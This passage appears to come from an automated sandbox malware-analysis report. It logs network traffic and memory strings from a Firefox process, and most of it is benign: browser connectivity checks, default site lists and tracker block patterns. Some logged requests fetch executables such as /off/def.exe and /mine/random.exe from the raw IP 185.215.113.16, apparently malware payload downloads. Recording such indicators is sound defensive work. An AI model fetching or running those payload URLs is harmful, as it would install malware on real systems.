Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2F74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE b.guid IN (https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE b.guid IN (https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate|date - profileAgeCreated|date) / 3600000 <= 24)) && (version|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate|date - profileAgeCreated|date) / 3600000 <= 24)) && (version|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: BETWEEN :prefix || :strippedURL AND :prefix || :strippedURL || X'FFFF'moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate|date - profileAgeCreated|date) / 3600000 <= 24)) && (version|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://ads.stickyadstv.com/user-matching**://*.adsafeprotected.com/*/unit/*color-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-color*://*.adsafeprotected.com/services/pub*--panel-banner-item-update-supported-bgcolor--panel-banner-item-info-icon-bgcolor*://pubads.g.doubleclick.net/gampad/*xml_vmap2**://pixel.advertising.com/firefox-etp*://securepubads.g.doubleclick.net/gampad/*ad**://cdn.cmp.advertising.com/firefox-etp*://*.adsafeprotected.com/jload?**://vast.adsafeprotected.com/vast**://*.adsafeprotected.com/*/imp/*https://ads.stickyadstv.com/firefox-etp*://trends.google.com/trends/embed**://pubads.g.doubleclick.net/gampad/*ad**://pubads.g.doubleclick.net/gampad/*ad-blk**://www.facebook.com/platform/impression.php*resource:///modules/InstallerPrefs.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://id.rambler.ru/rambler-id-helper/auth_events.js*://media.richrelevance.com/rrserver/js/1.2/p13n.js*://pagead2.googlesyndication.com/pagead/*.js*fcd=true*://securepubads.g.doubleclick.net/gampad/*ad-blk**://tpc.googlesyndication.com/safeframe/*/html/container.htmlC:\Program Files\Mozilla Firefox\browser\features*://www.gstatic.com/firebasejs/*/firebase-messaging.js*resource://gre/modules/ExtensionTelemetry.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2551103214.000002B9B1C53000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Wikipedia&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Reddit&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Twitter&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6FBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2576624739.000002B9B5752000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B57FB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/AND bookmarked equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1051000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", 